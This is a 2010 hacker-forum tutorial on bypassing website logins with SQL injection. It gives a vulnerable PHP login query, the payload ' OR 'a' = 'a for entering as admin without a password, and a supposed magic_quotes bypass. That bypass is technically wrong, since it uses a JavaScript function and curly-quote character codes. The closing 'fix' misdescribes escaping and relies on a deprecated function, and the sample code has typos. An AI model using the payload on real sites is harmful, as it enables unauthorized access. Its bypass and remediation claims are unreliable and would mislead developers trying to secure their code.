**Auth Bypass by J0hn.X3r and novaca!ne**

# Date: 30.03.2010

# Author: novaca!ne

# Website: j0hnx3r.org novacaine.biz

# Contact: J0hn.X3r@free-hack.com **novacaine@no-trace.cc**



## Introduction

Dear Reader, this Paper is about „Auth Bypass“.
It was written by J0hn.X3r and edited by novaca!ne
(see original version here: http://j0hnx3r.org/?p=55 ).

You can use this simple technique to pentest your own website or when you forgot your own password.

It was written to share knowledge, knowledge should be free and available for everyone.

## What is Auth Bypass

„Auth Bypass“, short form for „Authorization Bypass.“
A Auth Bypass flaw comes up everytime a website doesn't filter the attackers input.

It deals with Sql command injection.

For example the target website uses this vulnerable, unsecured script:

```
<?php
$sql = "SELECT * FROM users WHERE username='" . $_POST['username'] . "' AND
password='" . $POST_['password'] . "'";
response = mysql_query($sql);
?>
```

That means the user's input is not getting checked.

This is how the MySQL Query looks now:

```
SELECT * FROM users WHERE user='' AND password=''
```

## How to exploit it:

Let's take a simple username (mostly **admin** or **administrator**) and as a password, we choose

**‘ OR ‘a’ = ‘a**

This is how the MySQL Query looks now:

```
SELECT * FROM users WHERE user='admin' AND password='' OR 'a' = 'a'
```

**‘a’ = ‘a** is a **true value,** just like **1 = 1** or **‘cats’ = ‘cats**

Let's analyse the situation in words:

```
Username=’admin’ AND Passwort=” OR ‘a’ = ‘a’
means-> Username admin and Passwort TRUE
```

This is how the MySQL Query looks now:

```
SELECT * FROM users WHERE user='admin' AND TRUE
```

That means we're getting logged in as the administrator, without a password by manipulating the query!

## Bypass magic_quotes

magic_quotes is a php setting (php.ini).
It causes that every ' (single-quote), " (double quote) and \ (backslash)
are escaped with a backslash automatically, a weak but wellknown securing method.

This is how to bypass it:

Use the funktion called „String.fromCharCode()“, you need to translate your MySQL command into ascII (http://www.asciizeichen.de/tabelle.html) and put it input into the handling.

**‘ OR ‘a’ = ‘a** equals

```
String.fromCharCode(8216, 32, 79, 82, 32, 8216, 97, 8217, 32, 61, 32, 8216, 97)
```

## How to fix

One of the method's to fix and secure such Auth Bypass flaw's, is to use the php function **mysql_real_escape_string**, (http://de3.php.net/mysql_real_escape_string).

It causes that every of this characters:

```
\x00, \n, \r, \, '
```

get's replaced with a simple Backslash „/“, so the attackers commands getting useless.

```
<?php
$username = mysql_real_escape_string($_POST["username"]);
$password = mysql_real_escape_string($_POST["password"]);
$sql = "SELECT * FROM users WHERE username='" . $username . "' AND password='" .
$password . "'";
$response = mysql_query($sql);
?>
```

## Shouts

**Greetz fly out to:**

-tmh-, ck/cee-kay, Nazrek, bl0b, c1ox, h0yt3r (and his cat <3), soulstoned, Lidloses_Auge, Suicide, -=Player=-, Montaxx, Lorenz, Easy Lester, Vinzenco, Free-hack.com, NovuSec.com, HackBase.cc,...

# END OF FILE